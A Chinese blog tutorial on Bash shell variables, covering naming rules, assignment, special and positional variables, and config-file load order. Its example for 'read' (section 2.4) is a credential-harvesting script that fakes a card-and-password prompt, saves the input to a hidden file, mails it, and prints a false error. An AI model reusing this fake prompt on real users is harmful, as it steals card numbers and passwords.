SHELL 变量

1. 变量的解释

  • 使用不变的字符串存储变化的数据
  • 在脚本中变化的数据使用变量表示
  • 默认变量的类型都是字符类型

2. 生成变量并赋值

2.1. 变量名称命名规则

  • 变量名可以使用数字、小写字母、下划线
  • 区分大小写
  • 不能以数字开头
  • 等号两边不允许有空格
  • 不能使用特殊符号
  • 不能使用shell的关键字
  • 变量名相同时,新变量将覆盖旧变量

2.2. 直接生成变量

[变量名]=[值]

2.3. 把命令执行后的输出结果生成变量

# 示例:查看当前时间,并存入到变量new_date中
## 方式1
new_date=`date +%Y-%m-%d`
## 方式2
new_date=$(date +%Y-%m-%d)

2.4. 使用read 从键盘输入读取变量值完成赋值

# 示例:简单的盗号脚本
[root@localhost ~]# vim ceshi1.sh    
read -p "卡号:" -t 10 kahao    
stty -echo                //屏蔽终端的输出显示功能
read -p "密码:" -t 10 mima    
stty echo
echo                    //一个echo开始新的一行
echo $kaohao $mima >> /tmp/.kahao.txt    //将键盘输入的数据重定向到此文件
mail -s "kahao" root < /tmp/.kahao.txt    //将此文件中的数据发送邮箱
echo "密码输入错误!"            //给出最后提示信息
stty  echo                   //恢复终端输入显示功能

2.5. 使用已有变量给当前定义的变量赋值

x=10
y=x

2.6. 累加赋值

x=1
y=2
z=$x$y        //$符号既是一个分割符,遇到$符号就显示下一个
z=${x}-${y}    //中间有其他字符时,需给变量加大括号

3. 变量的增删改查

3.1. 查看变量

# 查看所有变量
set
# 查看指定变量
set | grep [变量名]

3.2. 使用变量

$[变量名]

3.3. 输出变量的值

echo $[变量名]

3.4. 删除变量

unset [变量名]

4. 变量类型

4.1. 系统环境变量

  • 启动操作系统时,加载的系统配置文件或服务的配置文件
  • 变量名为大写表示
  • 变量名固定,值可以被修改
  • 写脚本时可以直接使用系统环境变量或重新复制
env        //查看所有系统环境变量
/etc/profile    //储存系统环境变量的文件

4.2. 预定义变量

  • shell里事先定义好的变量
  • 变量名和值都是 固定且不能修改,写脚本时可以直接使用
# 示例:
$0  进程名 \ 脚本名 
$?  上次执行命令 的返回状态
      等 0  表示上次命令执行成功
      非 0  上次命令执行失败
$$  当前终端运行进程的PID号
$!  当前终端后台最后一个进程运行的pid号
$#  保存脚本或函数位置变量的总个数
$*  保存脚本或函数所有位置变量的值

4.3. 位置变量

  • 保存脚本或函数对应位置参数的值
  • 位置变量的作用是用来给脚本传值
# 示例:
$1 $2 .......  $9  .......
# 编写脚本:
[root@localhost ~]# vim echo.sh
echo $1 and $2 and $3
# 运行:
chmod +x echo.sh
./echo.sh a b c

5. 其他

5.1. 生命周期

  • 终端中定义的变量在终端关闭后就会消失
  • 脚本中定义的变量只在脚本运行时有效

5.2. 系统级配置文件:对所有系统用户生效

  • /etc/profile
  • /etc/bashrc

5.3. 用户级配置文件:只对指定用户生效

  • ~/.bash_profile
  • ~/.bashrc

5.4. 变量的读取顺序

  • /etc/profile
  • ~/.bash_profile
  • ~/.bashrc
  • /etc/bashrc

本文链接:

http://blog.ps-ef.cn/Linux/112.html
1 + 3 =
快来做第一个评论的人吧~